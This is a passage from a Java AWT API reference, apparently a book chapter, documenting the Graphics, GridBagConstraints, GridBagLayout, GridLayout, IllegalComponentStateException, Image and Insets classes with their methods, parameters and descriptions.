x coordinate of origin of clipped area.

y

y coordinate of origin of clipped area.

width

size in horizontal direction to clip.

height

size in vertical direction to clip.

Description

Reduces the drawing area to the intersection of the current drawing area and the rectangular area defined by x, y, width, and height.

copyArea

public abstract void copyArea (int x, int y, int width, int height, int deltax, int deltay)

Parameters

x

x coordinate of origin of area to copy.

y

y coordinate of origin of area to copy.

width

size in horizontal direction to copy.

height

size in vertical direction to copy.

deltax

offset in horizontal direction to copy area to.

deltay

offset in vertical direction to copy area to.

Description

Copies a rectangular area to a new area, whose top left corner is (x+deltax, y+deltay).

create

public abstract Graphics create()

Returns

New graphics context.

Description

Creates a second reference to the same graphics context.

public Graphics create (int x, int y, int width, int height)

Parameters

x

x coordinate of origin of new graphics context.

y

y coordinate of origin of new graphics context.

width

size in horizontal direction.

height

size in vertical direction.

Returns

New graphics context

Description

Creates a second reference to a subset of the same graphics context.

dispose

public abstract void dispose()

Description

Frees system resources used by graphics context.

draw3DRect

public void draw3DRect (int x, int y, int width, int height, boolean raised)

Parameters

x

x coordinate of the rectangle origin.

y

y coordinate of the rectangle origin

width

Width of the rectangle to draw.

height

Height of the rectangle to draw.

raised

Determines if rectangle drawn is raised or not; true for a raised rectangle.

Description

Draws an unfilled 3-D rectangle from (x, y) of size width x height.

drawArc

public abstract void drawArc (int x, int y, int width, int height, int startAngle, int arcAngle)

Parameters

x

x coordinate of the bounding rectangle's origin.

y

y coordinate of the bounding rectangle's origin

width

Width of the bounding rectangle for the arc.

height

Height of the bounding rectangle for the arc.

startAngle

Angle at which arc begins, in degrees

arcAngle

length of arc, in degrees

Description

Draws an unfilled arc from startAngle to arcAngle within bounding rectangle from (x, y) of size width x height. Zero degrees is at three o'clock; positive angles are counter clockwise.

drawBytes

public void drawBytes (byte text[], int offset, int length, int x, int y)

Parameters

text

Text to draw, as a byte array.

offset

Starting position within text to draw.

length

Number of bytes to draw.

x

x coordinate of baseline origin.

y

y coordinate of baseline origin.

Throws

ArrayIndexOutOfBoundsException

If offset or length is invalid.

Description

Draws text on screen, starting with text[offset] and ending with text[offset+length-1].

drawChars

public void drawChars (char text[], int offset, int length, int x, int y)

Parameters

text

Text to draw, as a char array.

offset

Starting position within text to draw.

length

Number of bytes to draw.

x

x coordinate of baseline origin.

y

y coordinate of baseline origin.

Throws

ArrayIndexOutOfBoundsException

If offset or length is invalid.

Description

Draws text on screen, starting with text[offset] and ending with text[offset+length-1].

drawImage

public abstract boolean drawImage (Image image, int x, int y, ImageObserver observer)

Parameters

image

Image to draw.

x

x coordinate of image origin.

y

y coordinate of image origin.

observer

Object that watches for image information; almost always this.

Returns

true if the image has fully loaded when the method returns, false otherwise.

Description

Draws image to screen at (x, y), at its original size. Drawing may be asynchronous. If image is not fully loaded when the method returns, observer is notified when additional information made available.

public abstract boolean drawImage (Image image, int x, int y, int width, int height, ImageObserver observer)

Parameters

image

Image to draw.

x

x coordinate of image origin.

y

y coordinate of image origin.

width

New image size in horizontal direction.

height

New image size in vertical direction.

observer

Object that watches for image information; almost always this.

Returns

true if the image has fully loaded when the method returns, false otherwise.

Description

Draws image to screen at (x, y), scaled to width x height. Drawing may be asynchronous. If image is not fully loaded when the method returns, observer is notified when additional information made available.

public abstract boolean drawImage (Image image, int x, int y, Color backgroundColor, ImageObserver observer)

Parameters

image

Image to draw.

x

x coordinate of image origin.

y

y coordinate of image origin.

backgroundColor

Color to show through image where transparent.

observer

Object that watches for image information; almost always this.

Returns

true if the image has fully loaded when the method returns, false otherwise.

Description

Draws image to screen at (x, y), at its original size. Drawing may be asynchronous. If image is not fully loaded when the method returns, observer is notified when additional information made available. The background color is visible through any transparent pixels.

public abstract boolean drawImage (Image image, int x, int y, int width, int height, Color backgroundColor, ImageObserver observer)

Parameters

image

Image to draw.

x

x coordinate of image origin.

y

y coordinate of image origin.

width

New image size in horizontal direction.

height

New image size in vertical direction.

backgroundColor

Color to show through image where transparent.

observer

Object that watches for image information; almost always this.

Returns

true if the image has fully loaded when the method returns, false otherwise.

Description

Draws image to screen at (x, y), scaled to width x height. Drawing may be asynchronous. If image is not fully loaded when the method returns, observer is notified when additional information made available. The background color is visible through any transparent pixels.

public abstract boolean drawImage (Image image, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, ImageObserver observer) (New)

Parameters

image

Image to draw.

dx1

x coordinate of one corner of destination (device) rectangle.

dy1

y coordinate of one corner of destination (device) rectangle.

dx2

x coordinate of the opposite corner of destination (device) rectangle.

dy2

y coordinate of the opposite corner of destination (device) rectangle.

sx1

x coordinate of one corner of source (image) rectangle.

sy1

y coordinate of one corner of source (image) rectangle.

sx2

x coordinate of the opposite corner of source (image) rectangle.

sy2

y coordinate of the opposite corner of source (image) rectangle.

observer

Object that watches for image information; almost always this.

Returns

true if the image has fully loaded when the method returns, false otherwise.

Description

Draws the part of image described by dx1, dy1, dx2, and dy2 to the screen into the rectangle described by sx1, sy1, sx2, and sy2. Drawing may be asynchronous. If image is not fully loaded when the method returns, observer is notified when additional information is made available.

public abstract boolean drawImage (Image image, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1, int sx2, int sy2, Color backgroundColor, ImageObserver observer) (New)

Parameters

image

Image to draw.

dx1

x coordinate of one corner of destination (device) rectangle.

dy1

y coordinate of one corner of destination (device) rectangle.

dx2

x coordinate of the opposite corner of destination (device) rectangle.

dy2

y coordinate of the opposite corner of destination (device) rectangle.

sx1

x coordinate of one corner of source (image) rectangle.

sy1

y coordinate of one corner of source (image) rectangle.

sx2

x coordinate of the opposite corner of source (image) rectangle.

sy2

y coordinate of the opposite corner of source (image) rectangle.

backgroundColor

Color to show through image where transparent.

observer

Object that watches for image information; almost always this.

Returns

true if the image has fully loaded when the method returns, false otherwise.

Description

Draws the part of image described by dx1, dy1, dx2, and dy2 to the screen into the rectangle described by sx1, sy1, sx2, and sy2. Drawing may be asynchronous. If image is not fully loaded when the method returns, observer is notified when additional information made available. The background color is visible through any transparent pixels.

drawLine

public abstract void drawLine (int x1, int y1, int x2, int y2)

Parameters

x1

x coordinate of one point on line.

y1

y coordinate of one point on line.

x2

x coordinate of the opposite point on line.

y2

y coordinate of the opposite point on line.

Description

Draws a line connecting (x1, y1) and (x2, y2).

drawOval

public abstract void drawOval (int x, int y, int width, int height)

Parameters

x

x coordinate of bounding rectangle origin.

y

y coordinate of bounding rectangle origin

width

Width of bounding rectangle to draw in.

height

Height of bounding rectangle to draw in.

Description

Draws an unfilled oval within bounding rectangle from (x, y) of size width x height.

drawPolygon

public abstract void drawPolygon (int xPoints[], int yPoints[], int numPoints)

Parameters

xPoints[]

The array of x coordinates for each point.

yPoints[]

The array of y coordinates for each point.

numPoints

The number of elements in both xPoints and yPoints arrays to use.

Description

Draws an unfilled polygon based on first numPoints elements in xPoints and yPoints.

public void drawPolygon (Polygon p)

Parameters

p

Points of object to draw.

Description

Draws an unfilled polygon based on points within the Polygon p.

drawPolyline

public abstract void drawPolyline (int xPoints[], int yPoints[], int nPoints) (New)

Parameters

xPoints[]

The array of x coordinates for each point.

yPoints[]

The array of y coordinates for each point.

nPoints

The number of elements in both xPoints and yPoints arrays to use.

Description

Draws a series of line segments based on first numPoints elements in xPoints and yPoints.

drawRect

public void drawRect (int x, int y, int width, int height)

Parameters

x

x coordinate of rectangle origin.

y

y coordinate of rectangle origin

width

Width of rectangle to draw.

height

Height of rectangle to draw.

Description

Draws an unfilled rectangle from (x, y) of size width x height.

drawRoundRect

public abstract void drawRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight)

Parameters

x

x coordinate of bounding rectangle origin.

y

y coordinate of bounding rectangle origin

width

Width of rectangle to draw.

height

Height of rectangle to draw.

arcWidth

Width of arc of rectangle corner.

arcHeight

Height of arc of rectangle corner.

Description

Draws an unfilled rectangle from (x, y) of size width x height with rounded corners.

drawString

public abstract void drawString (String text, int x, int y)

Parameters

text

Text to draw.

x

x coordinate of baseline origin.

y

y coordinate of baseline origin.

Description

Draws text on screen.

fill3DRect

public void fill3DRect (int x, int y, int width, int height, boolean raised)

Parameters

x

x coordinate of rectangle origin.

y

y coordinate of rectangle origin

width

Width of rectangle to draw.

height

Height of rectangle to draw.

raised

true to draw a rectangle that appears raised; false to draw a rectangle that appears depressed.

Description

Draws a filled 3-D rectangle from (x, y) of size width x height.

fillArc

public abstract void fillArc (int x, int y, int width, int height, int startAngle, int arcAngle)

Parameters

x

x coordinate of bounding rectangle origin.

y

y coordinate of bounding rectangle origin

width

Width of bounding rectangle to draw in.

height

Height of bounding rectangle to draw in.

startAngle

Starting angle of arc.

arcAngle

The extent of the arc, measured from startAngle

Description

Draws a filled arc from startAngle to arcAngle within bounding rectangle from (x, y) of size width x height. Zero degrees is at three o'clock; positive angles are counter clockwise.

fillOval

public abstract void fillOval (int x, int y, int width, int height)

Parameters

x

x coordinate of bounding rectangle origin.

y

y coordinate of bounding rectangle origin

width

Width of bounding rectangle to draw in.

height

Height of bounding rectangle to draw in.

Description

Draws filled oval within bounding rectangle from (x, y) of size width x height.

fillPolygon

public abstract void fillPolygon (int xPoints[], int yPoints[], int numPoints)

Parameters

xPoints[]

The array of x coordinates for each point.

yPoints[]

The array of y coordinates for each point.

numPoints

The number of elements in both xPoints and yPoints arrays to use.

Throws

ArrayIndexOutOfBoundsException

If numPoints > xPoints.length or numPoints > yPoints.length.

Description

Draws filled polygon based on first numPoints elements in xPoints and yPoints.

public void fillPolygon (Polygon p)

Parameters

p

Points of object to draw.

Description

Draws filled polygon based on points within the Polygon p.

fillRect

public abstract void fillRect (int x, int y, int width, int height)

Parameters

x

x coordinate of rectangle origin.

y

y coordinate of rectangle origin

width

Width of rectangle to draw.

height

Height of rectangle to draw.

Description

Draws filled rectangle from (x, y) of size width x height.

fillRoundRect

public abstract void fillRoundRect (int x, int y, int width, int height, int arcWidth, int arcHeight)

Parameters

x

x coordinate of bounding rectangle origin.

y

y coordinate of bounding rectangle origin

width

Width of rectangle to draw.

height

Height of rectangle to draw.

arcWidth

Width of arc of rectangle corner.

arcHeight

Height of arc of rectangle corner.

Description

Draws a filled rectangle from (x, y) of size width x height with rounded corners.

finalize

public void finalize()

Overrides

Object.finalize()

Description

Tells the garbage collector to dispose of graphics context.

getClip

public abstract Shape getClip () (New)

Returns

Shape describing the clipping are of the graphics context.

getClipBounds

public abstract Rectangle getClipBounds() (New)

Returns

Rectangle describing the clipping area of the graphics context.

getClipRect

public abstract Rectangle getClipRect() (Deprecated)

Returns

Replaced by getClipBounds().

getColor

public abstract Color getColor()

Returns

The current drawing Color of the graphics context.

getFont

public abstract Font getFont()

Returns

The current Font of the graphics context.

getFontMetrics

public FontMetrics getFontMetrics()

Returns

The FontMetrics of the current font of the graphics context.

public abstract FontMetrics getFontMetrics (Font font)

Parameters

font

Font to get metrics for.

Returns

The FontMetrics of the given font for the graphics context.

setClip

public abstract void setClip (int x, int y, int width, int height) (New)

Parameters

x

x coordinate of rectangle

y

y coordinate of rectangle

width

width of rectangle

height

height of rectangle

Description

Changes current clipping region to the specified rectangle.

public abstract void setClip (Shape clip) (New)

Parameters

clip

The new clipping shape.

Description

Changes current clipping region to the specified shape.

setColor

public abstract void setColor (Color color)

Parameters

color

New color.

Description

Changes current drawing color of graphics context.

setFont

public abstract void setFont (Font font)

Parameters

font

New font.

Description

Changes current font of graphics context.

setPaintMode

public abstract void setPaintMode()

Description

Changes painting mode to normal mode.

setXORMode

public abstract void setXORMode (Color xorColor)

Parameters

xorColor

XOR mode drawing color.

Description

Changes painting mode to XOR mode; in this mode, drawing the same object in the same color at the same location twice has no net effect.

toString

public String toString()

Returns

A string representation of the Graphics object.

Overrides

Object.toString()

translate

public void translate (int x, int y)

Parameters

x

x coordinate of new drawing origin.

y

y coordinate of new drawing origin.

Description

Moves the origin of drawing operations to (x, y).

See Also

Color, Font, FontMetrics, Image, ImageObserver, Object, Polygon, Rectangle, Shape, String

Previous | Home | Next
Frame | Book Index | GridBagConstraints
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] GridBagConstraints

Previous Chapter 19
java.awt Reference 		Next

GridBagConstraints

Name

GridBagConstraints

[Graphic: Figure from the text]

Description

The GridBagConstraints class provides the means to control the layout of components within a Container whose LayoutManager is GridBagLayout.

Class Definition

public class java.awt.GridBagConstraints
    extends java.lang.Object
    implements java.lang.Cloneable, java.io.Serializable {

  // Constants
  public final static int BOTH;
  public final static int CENTER;
  public final static int EAST;
  public final static int HORIZONTAL;
  public final static int NONE;
  public final static int NORTH;
  public final static int NORTHEAST;
  public final static int NORTHWEST;
  public final static int RELATIVE;
  public final static int REMAINDER;
  public final static int SOUTH;
  public final static int SOUTHEAST;
  public final static int SOUTHWEST;
  public final static int VERTICAL;
  public final static int WEST;

  // Variables
  public int anchor;
  public int fill;
  public int gridheight;
  public int gridwidth;
  public int gridx;
  public int gridy;
  public Insets insets;
  public int ipadx;
  public int ipady;
  public double weightx
  public double weighty

  // Constructors
  public GridBagConstraints();

  // Instance Methods
  public Object clone();
}

Constants

BOTH

public final static int BOTH

Constant for possible fill value.

CENTER

public final static int CENTER

Constant for possible anchor value.

EAST

public final static int EAST

Constant for possible anchor value.

HORIZONTAL

public final static int HORIZONTAL

Constant for possible fill value.

NONE

public final static int NONE

Constant for possible fill value.

NORTH

public final static int NORTH

Constant for possible anchor value.

NORTHEAST

public final static int NORTHEAST

Constant for possible anchor value.

NORTHWEST

public final static int NORTHWEST

Constant for possible anchor value.

RELATIVE

public final static int RELATIVE

Constant for possible gridx, gridy, gridwidth, or gridheight value.

REMAINDER

public final static int REMAINDER

Constant for possible gridwidth or gridheight value.

SOUTH

public final static int SOUTH

Constant for possible anchor value.

SOUTHEAST

public final static int SOUTHEAST

Constant for possible anchor value.

SOUTHWEST

public final static int SOUTHWEST

Constant for possible anchor value.

VERTICAL

public final static int VERTICAL

Constant for possible fill value.

WEST

public final static int WEST

Constant for possible anchor value.

Variables

anchor

public int anchor

Specifies the alignment of the component in the event that it is smaller than the space allotted for it by the layout manager; e.g., CENTER centers the object within the region.

fill

public int fill

The component's resize policy if additional space available.

gridheight

public int gridheight

Number of columns a component occupies.

gridwidth

public int gridwidth

Number of rows a component occupies.

gridx

public int gridx

Horizontal grid position at which to add component.

gridy

public int gridy

Vertical grid position at which to add component.

insets

public Insets insets

Specifies the outer padding around the component.

ipadx

public int ipadx

Serves as the internal padding within the component in both the right and left directions.

ipady

public int ipady

Serves as the internal padding within the component in both the top and bottom directions.

weightx

public double weightx

Represents the percentage of extra horizontal space that will be given to this component if there is additional space available within the container.

weighty

public double weighty

Represents the percentage of extra vertical space that will be given to this component if there is additional space available within the container.

Constructors

GridBagConstraints

public GridBagConstraints()

Description

Constructs a GridBagConstraints object.

Instance Methods

clone

public Object clone()

Returns

A new instance of GridBagConstraints with same values for constraints.

Overrides

Object.clone()

See Also

Cloneable, GridBagLayout, Insets, Object, Serializable

Previous | Home | Next
Graphics | Book Index | GridBagLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] GridBagLayout

Previous Chapter 19
java.awt Reference 		Next

GridBagLayout

Name

GridBagLayout

[Graphic: Figure from the text]

Description

The GridBagLayout LayoutManager provides the means to layout components in a flexible grid-based display model.

Class Definition

public class java.awt.GridBagLayout
    extends java.lang.Object
    implements java.awt.LayoutManager2, java.io.Serializable {

  // Protected Constants
  protected static final MAXGRIDSIZE;
  protected static final MINSIZE;
  protected static final PREFERREDSIZE;

  // Variables
  public double columnWeights[];
  public int columnWidths[];
  public int rowHeights[];
  public double rowWeights[];

  // Protected Variables
  protected Hashtable comptable;
  protected GridBagConstraints defaultConstraints;
  protected GridBagLayoutInfo layoutInfo;

  // Constructors
  public GridBagLayout();

  // Instance Methods
  public void addLayoutComponent (Component comp, Object constraints);   (New)
  public void addLayoutComponent (String name, Component component);
  public GridBagConstraints getConstraints (Component component);
  public abstract float getLayoutAlignmentX(Container target);   (New)
  public abstract float getLayoutAlignmentY(Container target);   (New)
  public int[][] getLayoutDimensions();
  public Point getLayoutOrigin();
  public double[][] getLayoutWeights();
  public abstract void invalidateLayout(Container target);   (New)
  public void layoutContainer (Container target);
  public Point location (int x, int y);
  public abstract Dimension maximumLayoutSize(Container target);   (New)
  public Dimension minimumLayoutSize (Container target);
  public Dimension preferredLayoutSize (Container target);
  public void removeLayoutComponent (Component component);
  public void setConstraints (Component component,
      GridBagConstraints constraints);
  public String toString();

  // Protected Instance Methods
  protected void AdjustForGravity (GridBagConstraints constraints,
      Rectangle r);
  protected void ArrangeGrid (Container target);
  protected GridBagLayoutInfo GetLayoutInfo (Container target,
      int sizeFlag);
  protected Dimension GetMinSize (Container target,
      GridBagLayoutInfo info);
  protected GridBagConstraints lookupConstraints (Component comp);
}

Protected Constants

MAXGRIDSIZE

protected static final MAXGRIDSIZE

Maximum number of rows and columns within container managed by GridBagLayout.

MINSIZE

protected static final MINSIZE

Used for internal sizing purposes.

PREFERREDSIZE

protected static final PREFERREDSIZE

Used for internal sizing purposes.

Variables

columnWeights

public double[] columnWeights

The weightx values of the components in the row with the most elements.

columnWidths

public int[] columnWidths

The width values of the components in the row with the most elements.

rowHeights

public int[] rowHeights

The height values of the components in the column with the most elements.

rowWeights

public double[] rowWeights

The weighty values of the components in the column with the most elements.

Protected Variables

comptable

protected Hashtable comptable

Internal table to manage components.

defaultConstraints

protected GridBagConstraints defaultConstraints

Constraints to use for Components that have none.

layoutInfo

protected GridBagLayoutInfo layoutInfo

Internal information about the GridBagLayout.

Constructors

GridBagLayout

public GridBagLayout()

Description

Constructs a GridBagLayout object.

Instance Methods

addLayoutComponent

public void addLayoutComponent (Component comp, Object constraints) (New)

Parameters

comp

The component being added.

constraints

An object describing the constraints on this component.

Implements

LayoutManager2.addLayoutComponent()

Description

Adds the component comp to container subject to the given constraints. This is a more generalized version of addLayoutComponent(String, Component). It corresponds to java.awt.Container's add(Component, Object).

public void addLayoutComponent (String name, Component component)

Parameters

name

Name of component to add.

component

Actual component being added.

Implements

LayoutManager.addLayoutComponent()

Description

Does nothing.

getConstraints

public GridBagConstraints getConstraints (Component component)

Parameters

component

Component whose constraints are desired

Returns

GridBagConstraints for component requested.

getLayoutAlignmentX

public abstract float getLayoutAlignmentX (Container target) (New)

Parameters

target

The container to inspect.

Returns

The value .5 for all containers.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is left aligned, .5 is centered, and 1 is right aligned.

getLayoutAlignmentY

public abstract float getLayoutAlignmentY (Container target) (New)

Parameters

target

The container to inspect.

Returns

The value .5 for all containers.

Description

This method returns the preferred alignment of the given container target. A return value of 0 is top aligned, .5 is centered, and 1 is bottom aligned.

getLayoutDimensions

public int[][] getLayoutDimensions()

Returns

Returns two single dimension arrays as a multi-dimensional array. Index 0 is an array of widths (columnWidths instance variable), while index 1 is an array of heights (rowHeights instance variable).

getLayoutOrigin

public Point getLayoutOrigin()

Returns

Returns the origin of the components within the Container whose LayoutManager is GridBagLayout.

getLayoutWeights

public double[][] getLayoutWeights()

Returns

Returns two single dimension arrays as a multi-dimensional array. Index 0 is an array of columns weights (columnWeights instance variable), while index 1 is an array of row weights (rowWeights instance variable).

invalidateLayout

public abstract void invalidateLayout (Container target) (New)

Parameters

target

The container to invalidate.

Description

Does nothing.

layoutContainer

public void layoutContainer (Container target)

Parameters

target

The container that needs to be redrawn.

Implements

LayoutManager.layoutContainer()

Description

Draws components contained within target.

location

public Point location (int x, int y)

Parameters

x

The x coordinate of the grid position to find.

y

The y coordinate of the grid position to find.

Returns

Returns the grid element under the location provided at position (x, y) in pixels. Note that the returned Point uses the GridBagLayout's grid for its coordinate space.

Description

Locates the grid position in the Container under the given location.

maximumLayoutSize

public abstract Dimension maximumLayoutSize (Container target) (New)

Parameters

target

The container to inspect.

Returns

A Dimension whose horizontal and vertical components are Integer.MAX_VALUE.

Description

For GridBagLayout, a maximal Dimension is always returned.

minimumLayoutSize

public Dimension minimumLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Minimum Dimension of container target.

Implements

LayoutManager.minimumLayoutSize()

Description

Calculates minimum size of target container.

preferredLayoutSize

public Dimension preferredLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Preferred Dimension of container target

Implements

LayoutManager.preferredLayoutSize()

Description

Calculates preferred size of target container.

removeLayoutComponent

public void removeLayoutComponent (Component component)

Parameters

component

Component to stop tracking.

Implements

LayoutManager.removeLayoutComponent()

Description

Does nothing.

setConstraints

public void setConstraints (Component component, GridBagConstraints constraints)

Parameters

component

Component to set constraints for

constraints

Constraints for component

Description

Changes the GridBagConstraints on component to those provided.

toString

public String toString()

Returns

A string representation of the GridBagLayout object.

Overrides

Object.toString()

Protected Instance Methods

AdjustForGravity

protected void AdjustForGravity (GridBagConstraints constraints, Rectangle r)

Parameters

constraints

Constraints to use for adjustment of Rectangle.

r

Rectangular area that needs to be adjusted.

Description

Helper routine for laying out a cell of the grid. The routine adjusts the values for r based upon the constraints.

ArrangeGrid

protected void ArrangeGrid (Container target)

Parameters

target

Container to layout.

Description

Helper routine that does the actual arrangement of components in target.

GetLayoutInfo

protected GridBagLayoutInfo GetLayoutInfo (Container target, int sizeFlag)

Parameters

target

Container to get information about.

sizeFlag

One of the constants MINSIZE or PREFERREDSIZE.

Returns

Returns an internal class used to help size the container.

GetMinSize

protected Dimension GetMinSize (Container target, GridBagLayoutInfo info)

Parameters

target

Container to calculate size.

info

Specifics about the container's constraints.

Returns

Minimum Dimension of container target based on info.

Description

Helper routine for calculating size of container.

lookupConstraints

protected GridBagConstraints lookupConstraints (Component comp)

Parameters

comp

Component in question.

Returns

A reference to the GridBagConstraints object for this component.

Description

Helper routine for calculating size of container.

See Also

Component, Container, Dimension, GridBagConstraints, Hashtable, LayoutManager, LayoutManager2, Object, Point, Rectangle, String

Previous | Home | Next
GridBagConstraints | Book Index | GridLayout
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] GridLayout

Previous Chapter 19
java.awt Reference 		Next

GridLayout

Name

GridLayout

[Graphic: Figure from the text]

Description

The GridLayout LayoutManager provides the means to layout components in a grid of rows and columns.

Class Definition

public class java.awt.GridLayout
        extends java.lang.Object
        implements java.awt.LayoutManager, java.io.Serializable
 {

// Constructors
  public GridLayout();   (New)
  public GridLayout (int rows, int cols);
  public GridLayout (int rows, int cols, int hgap, int vgap);

// Instance Methods
  public void addLayoutComponent (String name, Component component);
  public int getColumns();   (New)
  public int getHgap();   (New)
  public int getRows();   (New)

  public int getVgap();   (New)
  public void layoutContainer (Container target);
  public Dimension minimumLayoutSize (Container target);
  public Dimension preferredLayoutSize (Container target);
  public void removeLayoutComponent (Component component);
  public int setColumns(int cols);   (New)
  public int setHgap(int hgap);   (New)
  public int setRows(int rows);   (New)

  public int setVgap(int vgap);   (New)
  public String toString();
}

Constructors

GridLayout

public GridLayout() (New)

Description

Constructs a GridLayout object with a default single row and one column per component.

public GridLayout (int rows, int cols)

Parameters

rows

Requested number of rows in container.

cols

Requested number of columns in container.

Description

Constructs a GridLayout object with the requested number of rows and columns. Note that the actual number of rows and columns depends on the number of objects in the layout, not the constructor's parameters.

public GridLayout (int rows, int cols, int hgap, int vgap)

Parameters

rows

Requested number of rows in container.

cols

Requested number of columns in container.

hgap

Horizontal space between each component in a row.

vgap

Vertical space between each row.

Description

Constructs a GridLayout object with the requested number of rows and columns and the values specified as the gaps between each component. Note that the actual number of rows and columns depends on the number of objects in the layout, not the constructor's parameters.

Instance Methods

addLayoutComponent

public void addLayoutComponent (String name, Component component)

Parameters

name

Name of component to add.

component

Actual component being added.

Implements

LayoutManager.addLayoutComponent()

Description

Does nothing.

getColumns

public int getColumns() (New)

Returns

The number of columns.

getHgap

public int getHgap() (New)

Returns

The horizontal gap for this GridLayout instance.

getRows

public int getRows() (New)

Returns

The number of rows.

getVgap

public int getVgap() (New)

Returns

The vertical gap for this GridLayout instance.

layoutContainer

public void layoutContainer (Container target)

Parameters

target

The container that needs to be redrawn.

Implements

LayoutManager.layoutContainer()

Description

Draws the components contained within the target.

minimumLayoutSize

public Dimension minimumLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Minimum Dimension of the container target.

Implements

LayoutManager.minimumLayoutSize()

Description

Calculates the minimum size of the target container.

preferredLayoutSize

public Dimension preferredLayoutSize (Container target)

Parameters

target

The container whose size needs to be calculated.

Returns

Preferred Dimension of the container target.

Implements

LayoutManager.preferredLayoutSize()

Description

Calculates the preferred size of the target container.

removeLayoutComponent

public void removeLayoutComponent (Component component)

Parameters

component

Component to stop tracking.

Implements

LayoutManager.removeLayoutComponent()

Description

Does nothing.

setColumns

public void setColumns(int cols) (New)

Parameters

cols

The new number of columns.

Description

Sets the number of columns.

setHgap

public void setHgap(int hgap) (New)

Parameters

hgap

The horizontal gap value.

Description

Sets the horizontal gap between components.

setRows

public void setRows(int rows) (New)

Parameters

rows

The new number of rows.

Description

Sets the number of rows.

setVgap

public void setVgap(int vgap) (New)

Parameters

vgap

The vertical gap value.

Description

Sets the vertical gap between components.

toString

public String toString()

Returns

A string representation of the GridLayout object.

Overrides

Object.toString()

See Also

Component, Container, Dimension, LayoutManager, Object, String

Previous | Home | Next
GridBagLayout | Book Index | IllegalComponentStateException (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] IllegalComponentStateException

Previous Chapter 19
java.awt Reference 		Next

IllegalComponentStateException (New)

Name

IllegalComponentStateException (New)

[Graphic: Figure from the text]

Description

An Exception indicating that a Component was not in an appropriate state to perform a requested action.

Class Definition

public class java.awt.IllegalComponentStateException
    extends java.lang.IllegalStateException {

  // Constructors
  public IllegalComponentStateException();
  public IllegalComponentStateException (String s);
}

Constructors

IllegalComponentStateException

public IllegalComponentStateException()

Description

Constructs the exception object with no detail message.

public IllegalComponentStateException (String s)

Parameters

s

Detail message

Description

Constructs the exception object with the given detail message.

See Also

Exception, String

Previous | Home | Next
GridLayout | Book Index | Image
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Image

Previous Chapter 19
java.awt Reference 		Next

Image

Name

Image

[Graphic: Figure from the text]

Description

The Image class represents a displayable object maintained in memory. Because Image is an abstract class, you never work with the Image class itself, but with a platform specific subclass. However, you should never need to know what that subclass is. To draw on an Image, get its graphics context.

Class Definition

public abstract class java.awt.Image
    extends java.lang.Object
    implements java.io.Serializable {

  // Constants
  public final static int SCALE_AREA_AVERAGING;   (New)
  public final static int SCALE_DEFAULT;   (New)
  public final static int SCALE_FAST;   (New)
  public final static int SCALE_REPLICATE;   (New)
  public final static int SCALE_SMOOTH;   (New)
  public final static Object UndefinedProperty;

  // Instance Methods
  public abstract void flush();
  public abstract Graphics getGraphics();
  public abstract int getHeight (ImageObserver observer);
  public abstract Object getProperty (String name, ImageObserver observer);
  public Image getScaledInstance (int width, int height, int hints);   (New)
  public abstract ImageProducer getSource();
  public abstract int getWidth (ImageObserver observer);
}

Constants

SCALE_AREA_AVERAGING

public final static int SCALE_AREA_AVERAGING (New)

Flag that requests use of AreaAveragingScaleFilter.

SCALE_DEFAULT

public final static int SCALE_DEFAULT (New)

Flag that requests use of the default image scaling algorithm.

SCALE_FAST

public final static int SCALE_FAST (New)

Flag that requests use of an image scaling algorithm that is faster rather than smoother.

SCALE_REPLICATE

public final static int SCALE_REPLICATE (New)

Flag that requests use of ReplicateScaleFilter.

SCALE_SMOOTH

public final static int SCALE_SMOOTH (New)

Flag that requests use of an image scaling algorithm that is smoother rather than faster.

UndefinedProperty

public final static Object UndefinedProperty

Possible return object from getProperty().

Instance Methods

flush

public abstract void flush()

Description

Resets image to initial state.

getGraphics

public abstract Graphics getGraphics()

Throws

ClassCastException

If image created from file or URL.

Returns

The graphics context of the image.

Description

Gets the graphics context of the image for drawing.

getHeight

public abstract int getHeight (ImageObserver observer)

Parameters

observer

An image observer; usually the Component on which the image is rendered.

Returns

Image height, or -1 if the height is not yet available.

getProperty

public abstract Object getProperty (String name, ImageObserver observer)

Parameters

name

Name of the property to fetch.

observer

An image observer; usually the Component on which the image is rendered.

Returns

Object representing the requested property, null, or UndefinedProperty.

Throws

ArrayIndexOutOfBoundsException

If offset or length is invalid.

Description

Retrieves a property from the image's private property list.

getScaledInstance

public Image getScaledInstance (int width, int height, int hints) (New)

Parameters

width

The width for the scaled image. Use -1 to preserve the aspect ratio with reference to height.

height

The height for the scaled image. Use -1 to preserve the aspect ratio with reference to width.

hints

One or more of the SCALE_ constants.

Returns

The scaled image. It may be loaded asynchronously, even if the original image was fully loaded.

Description

Creates a copy of an image, scaled to width x height and using an algorithm chosen based on the hints given.

getSource

public abstract ImageProducer getSource()

Returns

The ImageProducer of the image.

getWidth

public abstract int getWidth (ImageObserver observer)

Parameters

observer

An image observer; usually the Component on which the image is rendered.

Returns

Image width, or -1 if the width is not yet available.

See Also

Graphics, ImageObserver, ImageProducer, Object, Properties, String

Previous | Home | Next
IllegalComponentStateException (New) | Book Index | Insets
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Insets

Previous Chapter 19
java.awt Reference 		Next

Insets

Name

Insets

[Graphic: Figure from the text]

Description

The Insets class provides a way to encapsulate the layout margins of the four different sides of a Container.

Class Definition

public class java.awt.Insets
    extends java.lang.Object
    implements java.io.Serializable, java.lang.Cloneable {

  // Variables
  public int bottom;
  public int left;
  public int right;
  public int top;

  // Constructors
  public Insets (int top, int left, int bottom, int right);

  // Instance Methods
  public Object clone();
  public boolean equals (Object obj);   (New)
  public String toString();
}

Variables

bottom

public int bottom

The border width for the bottom of a Container.

left

public int left

The border width for the left side of a Container.

right

public int right

The border width for the right side of a Container.

